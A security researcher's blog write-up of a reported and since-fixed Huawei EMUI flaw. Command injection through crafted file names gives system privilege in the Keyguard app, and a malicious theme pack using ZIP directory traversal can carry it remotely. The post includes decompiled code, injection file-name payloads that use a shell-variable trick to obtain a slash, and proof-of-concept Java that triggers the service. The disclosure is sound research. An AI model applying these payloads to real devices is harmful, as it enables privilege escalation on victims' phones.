A theme pack to system privilege

Update: Huawei has assigned CVE-2017-2692, CVE-2017-2693

(中文版见 https://blog.flanker017.me/a-theme-to-system-in-emui/)

Download this theme pack, pwned with system shell?

Android users may be familiar with theme packs, which is a major advantage for Android over iOS. Two years ago we conducted a cooperation project with Huawei for digging vulnerabilities in Huawei’s EMUI3.1 and 4.0, with some vulnerabilities discovered, which of course had already been reported during the cooperation project and fixed.

Some of these bugs are quite interesting though, so I’d like to share it in a series of blogs. This blog will cover a vulnerability which can be initiated from both local and remote to get system privilege via malicious theme packs. If you download and install such a specially-crafted malicious theme from a third party channel, you will get pwned.

System privilege escalation in EMUI keyguard application

The Keyguard application in EMUI is responsible for managing and downloading magzine lock screens. We can see from this part of manifest, it has a pretty high privilege of system uid.

<manifest android:sharedUserId="android.uid.system" android:versionCode="30000" android:versionName="" coreApp="true" package="com.android.keyguard" platformBuildVersionCode="21" platformBuildVersionName="5.0-eng.jenkins.20150930.140728" xmlns:android="http://schemas.android.com/apk/res/android">

After the odex of this application is decompiled, the following code snippet caught our attention. What it does is scanning the storage directory of themes, and if files in that directory contains specific patterns (i.e. downloading), rename that files to do a refresh.

final class DownloadServiceHandler extends Handler {

private void downloadFinish(ArrayList arg5, boolean arg6) { //... UpdateHelper.switchChannelFilesName(DownloadService.this.getBaseContext(),".downloading",".apply", arg5); File[] v0 = UpdateHelper.queryChannelFiles(".apply");

    if(v0 == null || v0.length <= 0) 
    DownloadService.this.handleChannelDownloadFinish(arg5, arg6);

//… Tracing into DownloadService

com.android.huawei.magazineunlock.update.UpdateHelper switchChannelFilesName

public static boolean switchChannelFilesName 
(Context arg8, String arg9, String arg10, ArrayList arg11)
  boolean v5;
  File[] files=UpdateHelper.queryChannelFiles(arg9,arg11);    
  if(files == null || files.length == 0 ) 
          v5 = false;
   int i;        
   for(i = 0 ; i < files.length; ++i) {
   String path = files[i].getAbsolutePath();
   String newName = path.replaceAll(arg9,arg10);            
   if(!files[i].renameTo(new File(newName))
    !CommandLineUtil.mv("root",CommandLineUtil.addQuoteMark(path), CommandLineUtil.addQuoteMark(newName))) 
   Log.i("UpdateHelper" , "switch channel files , mv failed");
          v5 = true;
      }    return v5;

Seems it will first try using File.renameTo. If it fails, try CommandLineUtil.mv again. As stated above, queryChannelFiles does a scanning of files under /sdcard/MagazineUpdate/download. If that file contains a specific pattern, return those Files.

What does CommandLineUtil.mv do?

public static boolean mv (String arg4, String arg5, String arg6 ) {

      Object[] obj = new Object[2];
      obj[0] = arg5.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg5) : arg5;
      obj[1] = arg6.indexOf(" ")>= 0 ? CommandLineUtil.cutOutString(arg6) : arg6;    

return CommandLineUtil.run(arg4 , "mv %s %s", obj); }

      private static InputStream run (boolean arg6, String arg7, String arg8 , Object[] arg9) {
      InputStream v0 = null ;
      String[] str2 = new String[3];    

      if(arg9.length > 0) {
          String str1 = String.format(arg8,arg9 );        

      if(!TextUtils.isEmpty (((CharSequence)arg7))) {
              str2[0] = "/system/bin/sh";
              str2[1] = "-c";
              str2[2] = str1;
              v0 = CommandLineUtil.runInner(arg6, str2);
      }    return v0;

Wow, wasn’t that a /system/bin/sh -c command injection?

So this is the end of this story?

Definitely not. Or this bug won’t worth a blog post. Review this function carefully, we found several constrains that need to be met

  • we need to pass filtering of CommandLIneUtil.addQuoteMark
  • Force first renameTo to fail
  • Construct files whose name contains our command execution payload

Yep, command injection using file names.

The first one is the simplest. Let’s see how CommandLineUtil.addQuoteMark do its job:


  public static String addQuoteMark(String arg2) {  if(!TextUtils.isEmpty(((CharSequence)arg2)) && arg2.charAt(0) != 34 && !arg2.contains("*")) {
        arg2 = "\"" + arg2 + "\"";
    }  return arg2;

Err, nothing meaningful, we can simply bypass it by adding quotes,KO


Lets see the second one. How to force renameTo fail? Consulting the Java official document:

  public boolean renameTo(File dest)
  Renames the file denoted by this abstract pathname.
  Many aspects of the behavior of this method are inherently platform-dependent: The rename operation might not be able to move a file from one filesystem to another, it might not be atomic, and it might not succeed if a file with the destination abstract pathname already exists. The return value should always be checked to make sure that the rename operation was successful.

It’s roughly saying: I don’t care how you guys implementing this API, different platforms have different variants. So how does DVM/JVM/underlying Linux on Android implement it? Can we force it fail by placing the destination file before this function call? The following code snippet told us the result:

  Runtime.getRuntime.exec("touch /sdcard/1");
  Runtime.getRuntime.exec("touch /sdcard/2");
  System.out.println(new File("/sdcard/1").renameTo(new File("/sdcard/2")));

Err… Not so easy Mam. It’s still return true. We need to consult the syscall doc of rename.

  SYNOPSIS         top     
  #include <stdio.h>
       int rename(const char *oldpath, const char *newpath);

       rename() renames a file, moving it between directories if required.
       Any other hard links to the file (as created using link(2)) are
       unaffected.  Open file descriptors for oldpath are also unaffected.
       Various restrictions determine whether or not the rename operation
       succeeds: see ERRORS below.

       If newpath already exists, it will be atomically replaced, so that
       there is no point at which another process attempting to access
       newpath will find it missing. 

       oldpath can specify a directory.  In this case, newpath must either
       not exist, or it must specify an empty directory.

OK, if the source file is a directory, and the dest file already exists plus not an empty directory, it will return false. Bingo.


Now look back on arguments that we can control.

  String path = files[i].getAbsolutePath();
  String newName = path.replaceAll(arg9,arg10);          

  if(!files[i].renameTo(new File(newName)) && !CommandLineUtil.mv("root",CommandLineUtil. addQuoteMark(path), CommandLineUtil.addQuoteMark(newName))) {

We need to construct some legal file names as payload. But here comes the problem: you cannot place a / into filenames! But without /, we can hardly do anything meaningful (you cannot introduce path into your command, and almost every command need a path and PATH).

Actually, when I was writing POC for this bug the first time, I couldn’t figure out a way to bypass this problem and I have to use input keyevent, which do not require PATH or absolute path, to demonstrate I did get code exec, although the command itself is meaningless.

File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a");

And then some little tricks that I used in website hacking when I was kid surfaced. Bash/mksh allows you to use match operators to extract substrings from existing ones and store them in variables. What are existing ones? environment variables, e.g. $ANDROID_DATA

  echo $S

Yeah! We got a /, storing in $S.Totally valid to have a $S in your filename. Yep. We now use the following code snippet to first construct payload files, then use intent to trigger the vulnerable service, aiming for system command execution.

void prepareFile1() throws IOException {  
//File file = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".apply.a");
  //File file2 = new File("/sdcard/MagazineUpdate/download/bbb.;input keyevent 4;\".downloading.a");
  File file = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".apply.a");
  File file2 = new File("/sdcard/MagazineUpdate/download/ddd.;S=${ANDROID_DATA%data};$ANDROID_DATA$S\"1\";\".downloading.a");
void startPOCService(){
  ChannelInfo info = new ChannelInfo();
  info.downloadUrl = "";
  info.channelId = "ddd";
  info.size = 10110240;
  ArrayList<ChannelInfo> list = new ArrayList<>();
  Intent intent = new Intent();
  intent.setComponent(new ComponentName("com.android.keyguard","com.android.huawei.magazineunlock.update.DownloadService"));
  intent.putParcelableArrayListExtra("update_list", list);

Chain to remote

Ah, we always love remote pwns, people always love remote pwns. Any way to go remote? We noticed that, the so called theme-packs, is actually a ZIP file. Theme packs is installed by the following code, which calls into a service in system_server

  public static void applyTheme(Context arg6 , String arg7) {
        PackageManager packageManager0 = arg6. getPackageManager();
        HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());     
   try {
            packageManager0.getClass().getMethod("installHwTheme", String.class).invoke(packageManager0 ,
        }      catch()//...
        HwLog.d("ApplyTheme" , "EndInstallHwThemetime : " + System.currentTimeMillis ());

Implemented in huawei.android.hwutil.ZipUtil.unZipFile. Code is too verbose, but any smart readers coming through ZipFile should immediately realized possibility of ZIP directory traversals.

Yep, this is the final piece of this exploit chain. We can put the payload filenames in these theme packs as zip entries, and once victims download and installed it, the files are extracted and in place, the vulnerable service is triggered, boom.

I’ve to clarify that after Android 5 there is no universal ways to exploit ZipEntry bugs, unlike what you can do on Android 4.4 and some crappy SELinux loser phones (I’m not talking about Samsung phones at that time), because after Android 5 the SELinux policy has forbid a system-uid process to write to dalvik-cache, no matter you are system_server or system_app context. This eliminate the possibility of using ZipEntry bugs as a standalone exploit. You need to chain it with something else: find some dynamic loaded code (dex, so) to overwrite, or, as I have written, chain it with the theme bug written above, to get a complete remote code execution 🙂


One theme to system privilege? Yep, it’s possible. If you are interested in doing an analysis yourself, your can download the APK and odex files at https://drive.google.com/open?id=0B0StrSG7-NXEenZUalhGX3lyR0E and https://drive.google.com/open?id=0B0StrSG7-NXEc1RVdG9aQ2M1REU. (This system app is pre-odexed at /system partition)

Upcoming blog post

Un-Exported does not equal to safety – Another interesting EMUI system privilege escalation.

A theme pack to system privilege》上有4条评论

  1. Pingback引用通告: 【知识】1月22日 - 每日安全知识热点 - 莹莹之色

  2. Pingback引用通告: 1月22日 – 每日安全知识热点【zoues.com】-zoues

  3. Frank

    I will immediately take hold of your rss as I can’t to find your
    e-mail subscription link or e-newsletter service.
    Do you have any? Kindly let me understand so that I may subscribe.



电子邮件地址不会被公开。 必填项已用*标注